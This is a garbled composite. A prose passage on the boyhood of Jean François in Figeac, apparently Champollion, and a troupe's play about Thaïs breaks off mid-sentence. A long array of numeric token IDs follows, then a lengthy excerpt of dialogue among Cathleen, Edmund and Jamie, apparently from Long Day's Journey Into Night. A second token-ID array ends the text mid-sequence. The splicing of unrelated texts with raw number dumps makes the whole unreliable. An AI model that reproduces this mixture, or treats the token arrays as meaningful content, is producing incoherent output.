_danger,_ Jean François would not have to flee so frantically from her example. This becomes the riddle of his youth: His mother's illiteracy is both the source of her degradation and the source of her power. With her spells and her prayers, she is in touch with the mysteries of the universe, or so it seems to the boy. The forces of life and death join in mumbled incantations. It is as if fate thrusts Jean François toward his mother's illiteracy, tormenting him and goading him to fight back. And he does fight back: fiercely. He struggles to teach himself to read. He draws the letters of the alphabet as if he were sketching pictures, covering page after page with words which have no meaning for him. And then one day, frustrated by the impenetrability of the writing, he shatters the glass cover of one of his father's bookcases. And then he shatters another, wreaking destruction until a horrified servant comes running and beats him into stopping. SOON AFTER THIS, he catches his first glimpse of Egypt. A wandering troupe of Cathedral mimes and puppeteers visits Figeac. A tent is pitched at the edge of town and a crier announces in the square: " _The story of Thaïs of Egypt! And of the blessed St. Mark! And of Flowers of the desert! St. Moses the Black! St. Anthony! Children of the wilderness! Martyrs of Egypt! Stories of the Thebaid where our first monks sought God!_ " From time immemorial, such troupes have performed in the great cathedrals of France: passion plays, sacred dramas, scenes from the lives of the saints. But since the revolution, Christianity is out of fashion. There is a Festival of the Supreme Being and pageants honoring the Goddess of Reason, but these medieval legends are politically dangerous. And so the troupe is reduced to traveling about the countryside, finally arriving in the small provincial city of Figeac where the crier fills the air with the names of Egyptian saints and monks long dead and miracle-working hermits; a long list to which the manager makes sure the crier adds, as a "draw": _And the holy martyr Napoleon!_ It is a clever ploy since General Napoleon's name is on everyone's lips just now. He has just become the "Savior of Revolution." Against all odds, he has defeated the armies of the pro-monarchist Austrians in Italy before they had a chance to attack the new republic on French soil. What does it matter that the Napoleon of the play is not a general but a martyr who died in Egypt fifteen hundred years before? It is impossible to mistake the contemporary allusion and there actually is a connection between the two Napoleons: The young Corsican general was named after the saint (or after an uncle who was named after him which the clever manager of the troupe decides is the same thing). The manager's instincts are good: The tent is quickly packed with a crowd of the curious, among them Jean François and his brother Jacques, who has returned home for a visit. Garishly painted backdrops are arranged on the torch-lit stage and, with a clash of cymbals, Jean François is transported to a desert valley, all sand and sky. A voice from behind the flimsy scenery calls out: "Be-hold Paphnutius, a monk famed for his holy life! Behold an angel who dwells on earth..." There is a rustling of chains as a tall, gaunt figure—naked but for hair shirt and irons—crawls onto the stage. In the shadows thrown by the torches, his every gesture is magnified tenfold. "Behold how he subdues his flesh!" People cry out as he whips himself in a frenzy. He is soon covered with blood (whether his own or that of a slaughtered animal is a professional secret). Finally he throws himself on the ground to sleep. A screen descends on which a beautiful woman is painted, her face hidden in her hands, her half-naked body turned toward the dreaming monk. "It is the unhappy courtesan Thaïs! Save her! Oh, save her, Paphnutius!" Getting to his feet, Paphnutius marches across the stage as the backdrops are changed for Alexandria, a worldly city famed for its philosophers and poets and whores. But Jean François does not see the rest of the play: how Paphnutius converts Thaïs; how he brings her to the desert where the harsh life of penance kills her; and how the monk loses his faith afterward, tormented by his lust for the beautiful saint he has created... The boy is in another world: He has fainted dead away from excitement. Slung like a sack of potatoes over his brother's shoulder, he is carried out into the cold night air. And this is symbolic of
[ 330, 10948, 1843, 1400, 187, 187, 1147, 434, 247, 4282, 634, 3392, 5082, 626, 1007, 387, 521, 3698, 2378, 275, 247, 1223, 15, 754, 434, 247, 2017, 300, 323, 2403, 253, 16961, 3563, 13, 285, 840, 2652, 13776, 1095, 6628, 479, 347, 604, 309, 369, 281, 13387, 15, 1292, 344, 434, 247, 4936, 23639, 637, 13, 604, 344, 310, 1711, 15, 1422, 1833, 1620, 923, 253, 1388, 368, 1472, 347, 1175, 2819, 1128, 15387, 353, 2131, 27283, 13, 2057, 15, 187, 187, 64, 2993, 22522, 868, 3333, 187, 187, 42, 1833, 259, 3800, 353, 2131, 27283, 5082, 626, 2985, 253, 673, 281, 3523, 789, 285, 452, 521, 5926, 273, 41236, 604, 344, 574, 247, 3698, 281, 521, 1416, 2, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 40, 1644, 598, 2820, 281, 11823, 617, 285, 650, 968, 3333, 187, 187, 1394, 3330, 326, 581, 15, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 1898, 1060, 434, 1529, 309, 1871, 3330, 13, 326, 368, 1472, 2403, 479, 1067, 731, 594, 368, 476, 36129, 247, 5484, 1078, 597, 1705, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4497, 13, 309, 8715, 626, 1869, 273, 326, 1128, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 4013, 642, 13, 417, 368, 2, 30683, 5082, 626, 14534, 275, 634, 6208, 13, 309, 9428, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 1989, 1024, 368, 1804, 352, 1128, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 64, 43199, 2248, 314, 4732, 3472, 3333, 187, 187, 42, 1871, 1620, 1804, 247, 637, 390, 247, 3416, 5181, 5484, 13, 353, 2131, 42953, 15, 15594, 13, 1904, 626, 352, 5159, 271, 18796, 273, 7477, 275, 253, 1711, 2586, 15, 187, 187, 64, 9112, 42424, 3333, 187, 187, 16812, 13, 247, 5926, 1024, 285, 840, 310, 642, 5237, 672, 368, 1472, 275, 1698, 19851, 13, 390, 452, 247, 3076, 5412, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 8061, 323, 35865, 479, 247, 1175, 16267, 15, 187, 187, 64, 5872, 342, 6726, 15120, 1255, 3333, 187, 187, 1394, 1871, 1805, 1067, 619, 3101, 13, 1512, 15, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 1276, 323, 32, 1500, 434, 1900, 327, 673, 1293, 667, 6789, 15, 2656, 11736, 617, 13, 703, 556, 690, 8180, 323, 253, 1361, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 2993, 434, 644, 3192, 247, 19422, 15, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 2993, 3589, 626, 17390, 672, 309, 6699, 619, 789, 24311, 247, 1223, 896, 15, 1500, 369, 10776, 1066, 275, 253, 18345, 2316, 342, 617, 2927, 4618, 1527, 15, 1500, 1871, 247, 11527, 24934, 13, 703, 753, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 8389, 15120, 1255, 625, 6726, 3333, 187, 187, 4013, 973, 840, 13, 816, 1067, 619, 3392, 15, 187, 187, 4118, 330, 10948, 1843, 1400, 187, 187, 64, 6826, 265, 281, 253, 3601, 3369, 13, 650, 24886, 1175, 14, 25781, 1520, 314, 3333, 187, 187, 2302, 4282, 619, 4669, 5159, 479, 1016, 2360, 15, 309, 1912, 626, 2940, 562, 275, 436, 4250, 285, 755, 5101, 26000, 15, 309, 1833, 1067, 432, 253, 28392, 15, 187, 187, 64, 2993, 4566, 562, 327, 253, 1930, 28392, 13, 13872, 253, 3601, 3369, 48041, 3212, 617, 13, 285, 34654, 327, 617, 1039, 281, 253, 2914, 28392, 15, 329, 2774, 1996, 703, 310, 3735, 26523, 3333, 187, 187, 46, 2131, 31635, 531, 2, 353, 2131, 27283, 2, 733, 434, 673, 2, 187, 187, 64, 3996, 27778, 13, 665, 556, 644, 17303, 27185, 314, 1078, 779, 13, 37264, 521, 1984, 13, 29121, 281, 521, 4669, 8507, 4087, 3333, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 13618, 13, 752, 247, 259, 15152, 2, 187, 187, 64, 1328, 42562, 253, 11996, 285, 268, 2108, 247, 5484, 13, 11323, 6749, 1824, 285, 17208, 15, 1284, 344, 1057, 594, 13, 344, 23238, 3095, 3551, 275, 253, 2914, 3369, 15, 754, 12516, 253, 5253, 44753, 327, 253, 23361, 285, 17954, 1066, 969, 13, 5909, 521, 1984, 15, 27283, 3249, 275, 432, 253, 2914, 1061, 3833, 13, 521, 11959, 689, 521, 4430, 15, 754, 556, 2668, 745, 23966, 285, 13898, 285, 15814, 731, 275, 521, 1133, 15, 754, 310, 46945, 17052, 432, 521, 22977, 342, 247, 1133, 46748, 15, 42953, 4453, 598, 347, 604, 521, 4361, 369, 21018, 15, 27283, 3936, 581, 1007, 387, 253, 11996, 285, 17543, 285, 28582, 31970, 1037, 3333, 187, 187, 4118, 500, 2300, 9051, 187, 187, 52, 570, 1170, 581, 13, 25685, 32, 18665, 562, 253, 787, 2066, 13, 26184, 15, 1422, 1472, 247, 687, 1440, 4330, 12353, 685, 309, 717, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 3594, 968, 3333, 187, 187, 4374, 13, 309, 16470, 581, 1223, 253, 1469, 369, 1175, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 12501, 84, 247, 1133, 21909, 1523, 327, 521, 9215, 3333, 187, 187, 2773, 434, 1805, 15, 6049, 5772, 479, 32, 844, 1472, 39839, 13, 6403, 626, 359, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 42, 3589, 626, 2119, 352, 369, 368, 3551, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 42, 1160, 253, 8937, 3083, 1007, 387, 521, 3698, 15, 309, 369, 25854, 598, 253, 2940, 672, 8842, 16813, 12948, 715, 4498, 15, 3824, 4956, 11596, 298, 782, 2, 1500, 12758, 281, 320, 247, 6194, 4300, 1209, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 2773, 434, 752, 12668, 479, 281, 5484, 15, 6049, 1053, 626, 368, 36129, 581, 1223, 368, 1849, 1694, 247, 4839, 32, 187, 187, 4118, 500, 2300, 9051, 187, 187, 42, 369, 4680, 273, 326, 1652, 2181, 15, 187, 187, 64, 1328, 4566, 4541, 281, 253, 3497, 387, 987, 3333, 187, 187, 510, 8937, 3083, 369, 5015, 281, 1711, 11918, 20757, 15, 6279, 13, 344, 434, 1335, 387, 352, 15, 187, 187, 64, 1328, 3249, 896, 285, 3936, 247, 5484, 3333, 187, 187, 1898, 1024, 281, 3835, 598, 432, 521, 42484, 5130, 15, 754, 16407, 4219, 253, 1268, 275, 253, 11996, 846, 1046, 5484, 15, 187, 187, 64, 1328, 5593, 767, 17208, 273, 1824, 285, 268, 2108, 731, 275, 253, 41236, 11996, 285, 41482, 352, 598, 3333, 187, 187, 2512, 15, 2064, 26019, 352, 15, 187, 187, 64, 1328, 268, 2108, 1824, 275, 253, 5253, 285, 5239, 352, 327, 253, 2829, 407, 42953, 3333, 187, 187, 1898, 1060, 434, 253, 1824, 368, 1849, 644, 10678, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 28986, 2, 1422, 1053, 626, 1158, 352, 588, 11213, 779, 13, 513, 368, 32, 187, 187, 4118, 500, 2300, 9051, 187, 187, 11175, 417, 13, 533, 344, 476, 626, 5276, 352, 15, 187, 187, 64, 12501, 1076, 327, 521, 23966, 285, 13898, 3333, 187, 187, 42, 3524, 344, 2506, 626, 7740, 11157, 11298, 281, 2994, 2312, 15, 309, 1353, 18254, 15, 187, 187, 64, 1328, 17954, 2439, 253, 2829, 432, 42953, 1128, 343, 902, 1598, 3333, 187, 187, 2773, 434, 752, 309, 9239, 670, 2444, 1066, 275, 2914, 15, 754, 12516, 327, 271, 769, 323, 1046, 31833, 11213, 326, 3249, 2112, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 40, 4213, 297, 1031, 3333, 187, 187, 1394, 1472, 275, 7516, 281, 320, 18254, 15, 380, 1039, 309, 1928, 309, 1053, 626, 1557, 604, 309, 2455, 6008, 969, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 40, 1644, 779, 247, 17834, 273, 4468, 3333, 187, 187, 19577, 13, 26184, 15, 1422, 871, 479, 15, 309, 1849, 1620, 11873, 1520, 368, 13, 533, 15058, 29944, 369, 987, 672, 344, 2183, 368, 281, 2624, 562, 253, 23020, 6683, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4013, 13, 309, 1353, 1469, 281, 846, 344, 3564, 479, 253, 3076, 3668, 436, 9055, 15, 329, 1643, 1078, 840, 1912, 626, 1056, 667, 3064, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 41, 265, 36269, 1128, 7461, 7808, 3333, 187, 187, 42, 1353, 9995, 368, 1849, 1694, 634, 2564, 5480, 323, 3076, 3668, 15, 733, 1912, 626, 320, 824, 247, 480, 7391, 15, 187, 187, 64, 1328, 32010, 42953, 17303, 387, 779, 3333, 187, 187, 42, 1599, 13, 352, 434, 247, 260, 12099, 368, 1472, 1663, 8334, 13, 285, 352, 651, 320, 3430, 513, 365, 281, 5772, 4834, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 14178, 16193, 3333, 187, 187, 42, 1353, 417, 15, 309, 871, 849, 46301, 309, 1928, 13, 285, 253, 15198, 285, 448, 3171, 309, 755, 387, 2360, 403, 642, 16391, 15, 309, 1158, 15058, 29944, 434, 1390, 5476, 369, 987, 15, 733, 1364, 320, 253, 31833, 19643, 1705, 896, 327, 479, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 11175, 13, 533, 1053, 626, 320, 1512, 2119, 15, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4967, 32, 1737, 513, 368, 1158, 352, 310, 32, 187, 187, 4118, 500, 2300, 9051, 187, 187, 39312, 13, 849, 651, 309, 871, 32, 309, 1353, 642, 18589, 15, 187, 187, 64, 5039, 3787, 314, 3333, 187, 187, 7161, 434, 34471, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 5683, 15475, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 35082, 387, 779, 23071, 3333, 187, 187, 3039, 858, 703, 564, 598, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4013, 13, 670, 253, 673, 309, 2210, 1066, 281, 253, 29809, 13, 309, 5476, 15, 1500, 753, 703, 369, 1469, 281, 1379, 247, 19422, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 1394, 1904, 626, 2028, 479, 1128, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 4612, 15158, 3333, 187, 187, 4967, 943, 309, 32, 1737, 670, 352, 32, 1500, 369, 11870, 562, 15, 1500, 1904, 626, 755, 1199, 4600, 1390, 2360, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 42, 871, 703, 1904, 626, 15, 187, 187, 64, 34, 19309, 15, 380, 13189, 3693, 2819, 387, 1016, 643, 3333, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 2773, 31833, 23010, 27721, 4934, 479, 22238, 13, 1512, 15, 187, 187, 64, 8195, 19309, 3333, 187, 187, 4118, 500, 2300, 9051, 187, 187, 2993, 434, 644, 24311, 3815, 512, 4131, 13, 25685, 32, 1422, 6468, 626, 2326, 617, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 2302, 15, 309, 1849, 644, 4361, 1060, 15, 309, 3078, 281, 1918, 617, 247, 4839, 281, 4600, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 2513, 703, 3551, 1066, 281, 11157, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4527, 2282, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 37, 610, 314, 3333, 187, 187, 2302, 273, 2282, 670, 352, 15, 1500, 1537, 417, 971, 667, 11157, 15, 2207, 703, 1537, 1265, 1907, 954, 273, 617, 16961, 3815, 24311, 15, 2064, 434, 4592, 13, 11210, 626, 352, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 64, 3378, 27185, 40586, 3333, 187, 187, 28512, 352, 562, 13, 27283, 2, 2615, 626, 368, 1158, 2712, 533, 1128, 32, 187, 187, 64, 16330, 86, 284, 1242, 3333, 187, 187, 1394, 1472, 512, 3430, 281, 9101, 2712, 15, 8842, 16813, 3047, 617, 417, 1048, 3622, 15, 34471, 1904, 626, 2028, 617, 703, 5082, 626, 320, 1066, 281, 11157, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 5872, 703, 3589, 626, 3192, 247, 19422, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 3650, 987, 840, 13, 533, 703, 369, 10776, 1066, 13, 8842, 16813, 753, 15, 187, 187, 4118, 500, 2300, 9051, 187, 187, 688, 253, 18345, 2316, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 4374, 15, 1198, 26411, 434, 13232, 13, 752, 273, 352, 32, 187, 187, 4118, 500, 2300, 9051, 187, 187, 64, 21784, 7752, 562, 3333, 187, 187, 1394, 31833, 11213, 2, 6049, 858, 368, 3553, 617, 3815, 594, 1048, 32, 6049, 1904, 626, 368, 7356, 1475, 32, 187, 187, 4118, 8360, 46, 4037, 37, 187, 187, 8457, 703, 10145, 479, 1128, 395, 368, 285, 40208, 1128, 1171, 49613, 327, 617, 512, 253, 673, 285, 417, 44895, 617, 15, 1500, 1160, 479, 1928, 29170, 15, 309, 871, 849, 46301, 352, 1364, 320, 323, 617, 15, 1244, 703, 12316, 327, 617, 20075, 3159, 273, 10390 ]	CATHLEEN It's a wonder your father wouldn't look at his watch once in a while. He's a divil for making the meals late, and then Bridget curses me as if I was to blame. But he's a grand handsome man, if he is old. You'll never see the day you're as good looking—nor Mister Jamie, either. _She chuckles._ I'll wager Mister Jamie wouldn't miss the time to stop work and have his drop of whiskey if he had a watch to his name! ### EDMUND _Gives up trying to ignore her and grins._ You win that one. ### CATHLEEN And here's another I'd win, that you're making me call them so you can sneak a drink before they come. ### EDMUND Well, I hadn't thought of that— ### CATHLEEN Oh no, not you! Butter wouldn't melt in your mouth, I suppose. ### EDMUND But now you suggest it— ### CATHLEEN _Suddenly primly virtuous._ I'd never suggest a man or a woman touch drink, Mister Edmund. Sure, didn't it kill an uncle of mine in the old country. _Relenting._ Still, a drop now and then is no harm when you're in low spirits, or have a bad cold. ### EDMUND Thanks for handing me a good excuse. _Then with forced casualness._ You'd better call my mother, too. ### CATHLEEN What for? She's always on time without any calling. God bless her, she has some consideration for the help. ### EDMUND She's been taking a nap. ### CATHLEEN She wasn't asleep when I finished my work upstairs a while back. She was lying down in the spare room with her eyes wide open. She'd a terrible headache, she said. ### EDMUND _His casualness more forced._ Oh well then, just call my father. ### CATHLEEN _Goes to the screen door, grumbling good-naturedly._ No wonder my feet kill me each night. I won't walk out in this heat and get sunstroke. I'll call from the porch. _She goes out on the side porch, letting the screen door slam behind her, and disappears on her way to the front porch. A moment later she is heard shouting._ Mister Tyrone! Mister Jamie! It's time! _Edmund, who has been staring frightenedly before him, forgetting his book, springs to his feet nervously._ ### EDMUND God, what a wench! _He grabs the bottle and pours a drink, adds ice water and drinks. As he does so, he hears someone coming in the front door. He puts the glass hastily on the tray and sits down again, opening his book. Jamie comes in from the front parlor, his coat over his arm. He has taken off collar and tie and carries them in his hand. He is wiping sweat from his forehead with a handkerchief. Edmund looks up as if his reading was interrupted. Jamie takes one look at the bottle and glasses and smiles cynically._ ### JAMIE Sneaking one, eh? Cut out the bluff, Kid. You're a rottener actor than I am. ### EDMUND _Grins._ Yes, I grabbed one while the going was good. ### JAMIE _Puts a hand affectionately on his shoulder._ That's better. Why kid me? We're pals, aren't we? ### EDMUND I wasn't sure it was you coming. ### JAMIE I made the Old Man look at his watch. I was halfway up the walk when Cathleen burst into song. Our wild Irish lark! She ought to be a train announcer. ### EDMUND That's what drove me to drink. Why don't you sneak one while you've got a chance? ### JAMIE I was thinking of that little thing. _He goes quickly to the window at right._ The Old Man was talking to old Captain Turner. Yes, he's still at it. _He comes back and takes a drink._ And now to cover up from his eagle eye. He memorizes the level in the bottle after every drink. _He measures two drinks of water and pours them in the whiskey bottle and shakes it up._ There. That fixes it. _He pours water in the glass and sets it on the table by Edmund._ And here's the water you've been drinking. ### EDMUND Fine! You don't think it will fool him, do you? ### JAMIE Maybe not, but he can't prove it. _Putting on his collar and tie._ I hope he doesn't forget lunch listening to himself talk. I'm hungry. _He sits across the table from Edmund—irritably._ That's what I hate about working down in front. He puts on an act for every damned fool that comes along. ### EDMUND _Gloomily._ You're in luck to be hungry. The way I feel I don't care if I ever eat again. ### JAMIE _Gives him a glance of concern._ Listen, Kid. You know me. I've never lectured you, but Doctor Hardy was right when he told you to cut out the redeye. ### EDMUND Oh, I'm going to after he hands me the bad news this afternoon. A few before then won't make any difference. ### JAMIE _Hesitates—then slowly._ I'm glad you've got your mind prepared for bad news. It won't be such a jolt. _He catches Edmund staring at him._ I mean, it's a cinch you're really sick, and it would be wrong dope to kid yourself. ### EDMUND _Disturbed._ I'm not. I know how rotten I feel, and the fever and chills I get at night are no joke. I think Doctor Hardy's last guess was right. It must be the damned malaria come back on me. ### JAMIE Maybe, but don't be too sure. ### EDMUND Why? What do you think it is? ### JAMIE Hell, how would I know? I'm no Doc. _Abruptly._ Where's Mama? ### EDMUND Upstairs. ### JAMIE _Looks at him sharply._ When did she go up? ### EDMUND Oh, about the time I came down to the hedge, I guess. She said she was going to take a nap. ### JAMIE You didn't tell me— ### EDMUND _Defensively._ Why should I? What about it? She was tired out. She didn't get much sleep last night. ### JAMIE I know she didn't. _A pause. The brothers avoid looking at each other._ ### EDMUND That damned foghorn kept me awake, too. _Another pause._ ### JAMIE She's been upstairs alone all morning, eh? You haven't seen her? ### EDMUND No. I've been reading here. I wanted to give her a chance to sleep. ### JAMIE Is she coming down to lunch? ### EDMUND Of course. ### JAMIE _Dryly._ No of course about it. She might not want any lunch. Or she might start having most of her meals alone upstairs. That's happened, hasn't it? ### EDMUND _With frightened resentment._ Cut it out, Jamie! Can't you think anything but—? _Persuasively._ You're all wrong to suspect anything. Cathleen saw her not long ago. Mama didn't tell her she wouldn't be down to lunch. ### JAMIE Then she wasn't taking a nap? ### EDMUND Not right then, but she was lying down, Cathleen said. ### JAMIE In the spare room? ### EDMUND Yes. For Pete's sake, what of it? ### JAMIE _Bursts out._ You damned fool! Why did you leave her alone so long? Why didn't you stick around? ### EDMUND Because she accused me—and you and Papa—of spying on her all the time and not trusting her. She made me feel ashamed. I know how rotten it must be for her. And she promised on her sacred word of honor
[ 536, 303, 23933, 442, 33745, 297, 19422, 324, 729, 5549, 1888, 413, 1629, 484, 79, 28074, 2963, 91, 400, 312, 13, 4204, 268, 710, 7090, 23246, 256, 5711, 6362, 2235, 91, 796, 6148, 6362, 20244, 1182, 356, 302, 580, 77, 17551, 5173, 1182, 6597, 35687, 422, 2485, 275, 1484, 7090, 750, 729, 614, 2485, 945, 296, 6156, 1888, 5985, 73, 1629, 484, 79, 28074, 362, 295, 75, 6356, 729, 6356, 1837, 9124, 580, 1240, 275, 4204, 21526, 76, 1432, 7326, 43498, 303, 23263, 13409, 297, 1888, 5985, 73, 1629, 484, 79, 28074, 1182, 356, 302, 729, 32187, 258, 36899, 2369, 945, 41752, 275, 246, 6719, 2369, 44370, 302, 518, 35687, 400, 493, 246, 18956, 13, 4204, 598, 80, 7326, 442, 87, 23246, 691, 306, 27509, 28074, 13, 288, 465, 727, 303, 594, 396, 27650, 1182, 45836, 8952, 5549, 1129, 27380, 351, 25476, 2235, 91, 8885, 7326, 7090, 86, 15, 187, 41062, 363, 518, 375, 353, 580, 1406, 1479, 16328, 187, 44, 302, 30177, 74, 7360, 5378, 13431, 23263, 26617, 76, 710, 268, 3385, 547, 465, 302, 546, 3604, 7687, 1565, 293, 75, 1173, 5549, 7326, 70, 2314, 2804, 15, 25403, 413, 268, 3385, 547, 594, 44370, 293, 75, 400, 1448, 716, 2314, 2804, 13, 1182, 4611, 396, 1182, 580, 91, 358, 13431, 20244, 295, 75, 6356, 19975, 465, 250, 3784, 87, 15, 21048, 351, 5985, 691, 1766, 9124, 74, 7090, 86, 13, 20846, 594, 8718, 484, 317, 1944, 40993, 256, 587, 638, 5914, 587, 6429, 7326, 80, 362, 465, 376, 7589, 416, 478, 536, 5916, 284, 80, 5549, 8718, 484, 343, 266, 358, 330, 532, 579, 13, 594, 268, 3385, 66, 256, 3358, 5503, 15, 7055, 7090, 26092, 275, 295, 75, 6736, 8718, 484, 317, 1944, 32518, 3273, 75, 32518, 24901, 87, 1432, 682, 5549, 1448, 86, 330, 532, 376, 7360, 10709, 7326, 7381, 8718, 484, 317, 32187, 1837, 9124, 580, 8311, 4109, 263, 478, 358, 275, 9040, 287, 9124, 682, 268, 3385, 31792, 570, 465, 2198, 75, 1351, 13, 23933, 70, 1182, 6275, 74, 759, 7326, 7090, 4173, 330, 532, 83, 7090, 46964, 650, 7326, 413, 2485, 687, 563, 13, 25130, 594, 23933, 70, 27723, 8952, 21526, 15, 187, 36751, 14, 22434, 36912, 5025, 348, 251, 187, 8816, 75, 16047, 266, 5173, 396, 76, 792, 478, 785, 362, 2719, 538, 965, 5985, 6743, 27520, 1182, 1432, 8895, 2343, 7090, 614, 87, 260, 9314, 306, 7687, 1837, 9124, 1123, 15, 15315, 7090, 74, 18504, 706, 19095, 20229, 74, 275, 24901, 376, 9124, 266, 6362, 1670, 250, 15, 25403, 7381, 13332, 300, 5173, 24901, 87, 8432, 24901, 4370, 2056, 478, 785, 13, 25130, 5139, 1390, 257, 362, 6017, 2336, 312, 15, 1503, 4611, 2298, 13431, 298, 6881, 74, 23933, 7090, 262, 15208, 2063, 13332, 300, 38239, 13, 25130, 23646, 268, 19356, 75, 23246, 1670, 250, 15, 18223, 75, 538, 803, 433, 25476, 86, 1629, 77, 547, 6148, 7589, 5549, 1182, 4213, 7090, 968, 7381, 716, 263, 32187, 346, 1033, 412, 2960, 5079, 478, 317, 1944, 3, 275, 5549, 425, 41134, 74, 7090, 570, 492, 22940, 306, 45470, 10424, 7326, 413, 260, 9314, 306, 268, 4034, 74, 281, 6290, 264, 23353, 20244, 384, 46261, 2963, 15695, 7326, 85, 22053, 7589, 1888, 413, 18504, 706, 853, 2963, 362, 6017, 256, 14763, 86, 275, 2963, 20244, 7326, 7090, 15208, 2336, 86, 5309, 7090, 6356, 803, 482, 91, 47835, 2063, 7989, 255, 478, 19475, 15, 4051, 284, 19249, 13962, 1182, 266, 75, 13, 24901, 594, 7090, 307, 6362, 275, 24901, 638, 3225, 7090, 266, 6362, 15, 187, 47, 26162, 8359, 80, 187, 38, 1216, 7311, 7090, 2369, 2298, 13431, 18373, 351, 15208, 362, 339, 19422, 796, 5549, 36407, 7326, 7090, 507, 413, 1629, 484, 79, 28074, 2963, 256, 14763, 86, 13, 23933, 70, 1182, 6275, 74, 362, 3723, 363, 5985, 13, 13063, 27520, 275, 5549, 378, 965, 9124, 79, 38239, 362, 20122, 351, 86, 15, 43869, 343, 22289, 5173, 716, 73, 24901, 11022, 729, 15178, 83, 16077, 28074, 13, 638, 1247, 17551, 6362, 275, 13332, 300, 6362, 33078, 1629, 484, 41752, 7373, 5139, 1182, 1945, 83, 1559, 7589, 5309, 7090, 70, 15, 473, 31421, 74, 362, 716, 73, 1837, 9124, 580, 1240, 396, 2963, 45520, 33338, 75, 7326, 6356, 5497, 7090, 11430, 492, 438, 32187, 7687, 41134, 74, 43100, 300, 336, 275, 7687, 12312, 9584, 20244, 19422, 796, 5549, 36407, 7326, 7090, 507, 413, 1629, 484, 79, 28074, 15, 18668, 12312, 9584, 20244, 716, 19422, 796, 275, 20244, 2854, 66, 13332, 300, 2072, 372, 17551, 6362, 3861, 74, 465, 2198, 17551, 297, 5139, 2578, 5830, 2063, 8657, 687, 5985, 268, 3385, 547, 275, 480, 6356, 268, 3385, 74, 7090, 2369, 18373, 351, 15208, 15, 187, 1898, 250, 284, 353, 38095, 8260, 187, 87, 268, 261, 8311, 691, 965, 5985, 15, 428, 313, 2573, 10, 1503, 580, 91, 11155, 5173, 5635, 33840, 413, 440, 32583, 20244, 1888, 7381, 18504, 706, 19095, 1775, 80, 1182, 6290, 264, 7588, 13065, 513, 8625, 75, 15, 43869, 70, 1182, 6275, 74, 362, 310, 77, 1317, 5985, 73, 1837, 9124, 580, 1240, 5828, 6362, 13, 4204, 5139, 465, 2198, 75, 1351, 268, 729, 6017, 13548, 461, 2369, 638, 1247, 75, 8657, 275, 268, 462, 39337, 17155, 80, 2298, 15208, 15, 4386, 21814, 6356, 7753, 91, 729, 262, 6356, 21721, 961, 1240, 1349, 8215, 13, 362, 91, 6584, 7326, 6736, 1629, 484, 41752, 362, 433, 1439, 13, 45520, 306, 7090, 76, 9296, 458, 362, 77, 6881, 2369, 14008, 7090, 74, 15, 11437, 223, 26617, 76, 6563, 339, 91, 324, 79, 5173, 513, 4193, 362, 35879, 13, 4204, 2314, 74, 7090, 8311, 1045, 15208, 362, 2652, 316, 77, 7589, 13, 25130, 396, 425, 1821, 74, 20244, 36407, 7326, 7090, 507, 413, 465, 15077, 460, 5635, 287, 365, 13, 13065, 2304, 12389, 74, 20244, 441, 19095, 465, 2198, 17551, 729, 362, 310, 77, 1317, 5985, 73, 1837, 9124, 580, 1240, 15, 20635, 22055, 4204, 1794, 20244, 384, 1173, 8952, 13, 45520, 396, 638, 1247, 17551, 5173, 465, 2198, 17551, 729, 17022, 7090, 66, 13, 396, 1182, 366, 76, 13431, 362, 2314, 74, 7090, 2369, 465, 410, 5751, 41752, 275, 396, 1218, 5173, 803, 306, 7090, 13431, 787, 356, 579, 1948, 2815, 46964, 13, 25130, 19888, 400, 32187, 362, 8215, 275, 1484, 9124, 400, 23246, 1888, 7381, 18504, 706, 19095, 13, 258, 465, 518, 83, 7326, 8311, 826, 73, 7381, 1670, 7090, 1758, 465, 2198, 17551, 729, 362, 310, 77, 1317, 76, 358, 256, 14763, 86, 458, 7699, 6362, 15, 187, 55, 2235, 73, 351, 79, 5173, 2298, 66, 2372, 74, 492, 446, 22289, 5173, 465, 2198, 17551, 729, 24901, 2845, 257, 372, 20304, 16825, 2235, 16811, 17551, 7589, 1182, 328, 266, 75, 554, 311, 15208, 7090, 24645, 7687, 23047, 729, 8215, 1182, 310, 77, 1317, 76, 23611, 1837, 9124, 580, 7588, 15, 8215, 516, 66, 